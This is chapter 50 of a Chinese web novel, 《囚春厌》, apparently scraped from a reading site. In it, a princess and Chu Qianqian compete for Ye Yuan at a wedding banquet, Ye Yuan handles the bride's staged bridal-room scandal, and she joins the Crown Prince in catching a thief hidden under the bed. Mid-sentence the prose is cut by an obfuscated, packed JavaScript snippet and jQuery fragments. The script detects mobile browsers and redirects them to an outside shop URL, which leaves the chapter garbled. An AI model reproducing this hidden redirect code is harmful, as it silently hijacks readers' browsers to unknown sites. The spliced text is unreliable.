50. 第 50 章

作品:《囚春厌

    叶苑将板凳放下,公主露出惊讶,她刚才那一下用劲很足,寻常女子柔弱,接不下来。


    公主倒是对她另眼相看,但是却说:“你要得罪我吗?”


    “并非如此,公主在这里闹起来,想必不会太好看。”


    叶苑话音刚落,门外边竟然来了一人,众人都不敢再言语。


    那是宫里来的佘嬷嬷。


    “皇后娘娘派我来给表小姐做见证。”


    众贵女连忙行礼。


    公主见了也安分起来。


    楚倩倩刚刚受惊,这会儿泪眼婆娑,鼻头微微酸涩,拉住叶苑的手,不肯放开。


    叶苑看了一眼:“坐吧。”


    楚倩倩小鸡啄米似的点头,模样十分乖巧,甚至有些依赖她。


    “我要坐在舒小姐旁边,你让开。”


    公主将她一把拉起来。


    楚倩倩不甘示弱,更加生气:“她是我的姐姐,你凭什么坐她身边?”


    “姐姐,是亲的吗?既不是,你自作多情什么,我倒觉得她性格爽直,和你这般不同,想来和你相处并不愉快,你在她眼前只会惹她心烦。”


    楚倩倩向来被人捧着,第一次见有人这么说自己。


    她生气的搬近椅子,让自己与叶苑更加靠近,这还不肯罢休,挽起了叶苑的手腕。


    “你少挑拨离间!我们虽不是亲生,但胜似亲生,刚刚便是姐姐护我,她护我才与你作对呢。”


    公主眉眼灵动:“既然如此,那我也可以认她做自己的干姐姐,你我便都一样了。”


    公主眼睛一转,目光落在叶苑右边的座位,她径直走过去,原本落座的那小姐懂眼色,本就是个不愿惹事的,退了位置。


    楚倩倩急得直接站了起来,公主坐得心安理得,十分稳当。


    公主并未再在意楚倩倩,而是对叶苑说:“我认你做干姐姐,你可否愿意?”


    叶苑觉得很是幼稚,可众目睽睽之下,却也说不得什么:“公主愿结交中原的朋友,我自然愿意,只是姐姐我不敢当。”


    楚倩倩原本郁闷的心情一下变得笑逐颜开。


    公主却也没失望,眼睛亮亮的:“我愿意交你这朋友,我喜欢你。”


    叶苑朝她微微点头,公主让人拿了一盘葡萄,递给了她,她接过尝了尝,公主让人把那一盘葡萄都端在了她面前。


    楚倩倩见她吃了下去,有些着急,脸又垮了下去,她连忙拿了一块糕点要喂给叶苑。


    叶苑摇摇头。


    公主又发出一声嗤笑。


    “这天气自然是吃带些汁水酸涩的葡萄,更解暑一些,那糕点吃下去容易生噎。”


    楚倩倩有些急躁,从下人手中拿过来了扇子:“姐姐往我这边靠一靠,我给姐姐扇扇风凉快凉快。”


    公主让人放了几盆冰:“靠得那么近,会更热,还是算了吧。我叫人多拿几盆冰进来,放在脚底不比扇风省事多。”


    两人眼见又要吵起来,恰好此时,喜宴开始,菜肴被端了上来,才没有再次上演闹剧。


    一道道中原美食让公主看着新奇,她拿起筷子尝了尝,觉得那醋汁鱼很是不错,便夹起一块夹到了叶苑碗里。


    楚倩倩看到了,有样学样,夹了一筷子蔬菜进叶苑的碗中。


    叶苑看着碗里被加进来的饭菜,轻轻咳了咳:“我没什么食欲,想去走一走。”


    楚倩倩和公主同时放下筷子,异口同声地说道:“我与你同去。”


    叶苑终于皱了眉。


    “不必了,二位还是留在这里,我自己去就好。”


    楚倩倩和公主两个人瞪着彼此。话说到这份上,她们两个只得作罢。


    叶苑一脚跨出了庭院的门,她本就喜欢安静,不喜欢这般吵闹,就算不参加宴会,也喜欢自己默默吃些东西,刚才桌上那般场景,她很是不习惯。


    一出门,她便见到下人神色之间匆忙,像是在传递着什么消息,人群中一晃而过,恰巧那个丫鬟她熟悉,便是今早她点来的珍儿。


    珍儿一眼就把她认了出来,便像见到救命稻草一般,跪下拉住她的衣襟。


    “求求姑娘,救救我们家小姐,我们家小姐,她要自尽!”


    跟在身边的杨桃大吃一惊:“这是发生什么事情了?刚刚拜堂时不一切都好吗?”


    珍儿神情痛苦。


    “确实是拜了堂,人也被带着进了洞房,可就出事了,我们走进新房……”


    珍儿欲言又止,极力隐藏愤怒。


    那还贴着喜字的婚房,刚打开房间,却一片凌乱,本来放上的早生贵子的干果也全部散落在地上。拉开围帐,那床上一片狼藉,床铺凌乱,竟发现了女子的肚兜,与男子的外袍。


    冯昭嫣当时还盖着盖头,珍儿大惊失色,连忙将她拉了出去,死拉着不让她掀开盖头,可冯昭嫣却已察觉到不对。


    她一拉开盖头,便看到那般场景,混乱不堪。


    她一时之间受不住气,便寻了短剑要自尽,丫鬟们便全在地上跪着劝她,可冯昭嫣还是泪如雨下。


    “这便是事情的全部经过了,哪家清白小姐嫁人时受到这般的对待,我都替小姐感到悲伤,还望舒小姐能劝我们家小姐一二分。”


    新房之夜,先是新郎为自己的外室拉拉扯扯,屡屡不迎亲,再就是新娘进了那新房,竟是前夜夫君与他妾室睡过的。


    这实在太过荒唐,若是传了出去,怕是要成为满京城的笑谈。


    叶苑一时之间也觉得匪夷所思,但她还是稳住心神,问珍儿:“此事可有告诉过别人?”


    珍儿如实回答:“除了小姐与表小姐,身边的几个丫鬟外,没人得知。”


    “好,你便把这消息烂在肚子里,不许再跟任何人讲。”


    珍儿连忙点头,这事关她家主子的清白,她自然知道。


    叶苑让她找几个人,另选一处院落,布置成新房,动作要快,再把表小姐引到那屋子,将流程顺下去。


    “你去同你家小姐说,此时定是有人作祟,要挑拨他们的关系,让她不要中计,若她寻死觅活,便是如了别人的意。”


    珍儿感激地看了一眼叶苑,连忙去做。


    等珍儿走后,杨桃才疑惑地问叶苑:“小姐,这事我们就不管了吗?”


    叶苑点点头:“这事,我不能管得太深。”


    杨桃似乎懂了,想想以后,终究是表小姐与那新郎要共同过日子,若她此时想不明白,寻了死,那之后,依照那外室的嚣张气焰,指不定要受千般折磨。


    “不过,”叶苑陷入思考。


    翠萍觉得自己现在十分聪明,定能为小姐分忧:“不过什么,小姐?”


    “没什么。”


    那胡三娘已经被控制,拖到了柴房关起来。


    但恐怕有更严重的危机!


    虽然只是见过一面,她也知道胡三


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732762|189431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘只会些妖媚柔弱的把戏,讨好郎君,看不出其他多深的心计,如今却想到用伪造情乱现场来让表小姐崩溃,显然技高一筹,不像那妾室能做出来的事情。


    叶苑在客道上走着,见到有一凉亭便过去。


    她突然有了一些思路。


    珍儿曾说这胡三娘父母双亡,唯独有一位长兄,粗鄙不堪,曾经当街辱骂过她家小姐,进了府衙后来再无消息。


    莫非?


    “你去向珍儿打听胡三娘那位长兄的过往,我就在这附近走一走,等你回来。”


    叶苑原本想在凉亭外歇歇脚,躲躲清净,却没想到遇到一个熟悉的人。


    “太子殿下?”


    她抢先开口。


    那背影回了头。


    谢煦桃花眼中带了些温柔的色泽。


    “太子殿下怎么会在这里?”


    谢煦道:“是来抓一个人的。”


    叶苑皱了皱眉:“抓人?”


    在他一旁的冬木抢先说了,谢煦这几日都在抓一个采花大盗,那采花大盗实在可恶,每每要偷女子的手帕,就这样偷了十几条,这京城贵女都觉得房之中有人存在,都夜不能寐,很是害怕,为京城贵女除去采花大盗,还真是侠义之举。


    叶苑有些诧异,莫非今日在成亲闺房中捣鬼的是那采花贼?


    她想了想:“若说这府上有什么异常,我倒知道,细想那里估计藏了人,太子殿下,可否与我走一遭?”


    “哦?那自然很好。”


    这一路上,叶苑听冬木说了这几日的见闻,太子从大理寺打听清楚这几日报案女子,都是些家中有些富裕的女子,找到了之间的关窍,她们这几日都有人送过冰,于是便顺着这些蛛丝马迹查到了卖冰铺的老板,铺子上有一伙计的行迹当真与之对应上了,又查到这人今日会来赴宴会。


    叶苑听完,如此,便有些不对劲了。


    若这人真是卖冰铺的,自是应该希望这屋里没人更好下手,可他却将床铺弄乱,显然很是熟悉这府里上下之间的关系,如此看来,那屋中藏的必然不是这采花贼。


    不管怎么说,叶苑还是带着谢煦来到了曾经的新房之中。


    冬木开了房门,叶苑率先走了进去,房中已被仆人们打扫过,没有了之前的杂乱。


    她浏览了一下房间,朝能藏人的地方走了过去,却被人拦住了。


    “我来。”


    叶苑点头,谢煦打开了那最能藏人的大箱子,其中是一箱珠宝,并未藏人。


    接着查看衣柜,同样未藏人。


    叶苑站在谢煦身后,目光看向那箱珠宝,这应该是表小姐的嫁妆,却放在了新房之中。


    若非图色,便是贪财。


    她顺着宝箱向外看,既能看到宝箱,又能隐蔽藏身的地方,就只有床底了。


    她不动声色退了几步。


    “太子殿下,这贼人一定藏在这房间之中,我看光我们两个人找还不够,得再叫一些婆子丫鬟过来仔细搜查,来个瓮中捉鳖。”


    “好,冬木……”


    这话未说完,床下便钻出一人。


    叶苑见到突然出来的人,向后退了几步,慌乱之中踩到衣襟。


    谢煦扶住她,那人显然图谋已久,看中了叶苑,拽着她的一只手,她被他拉扯了过去,那贼人手中的刀闪着寒光。


    危急时刻,谢煦想也没想握住了那刀柄,用了极大的力气。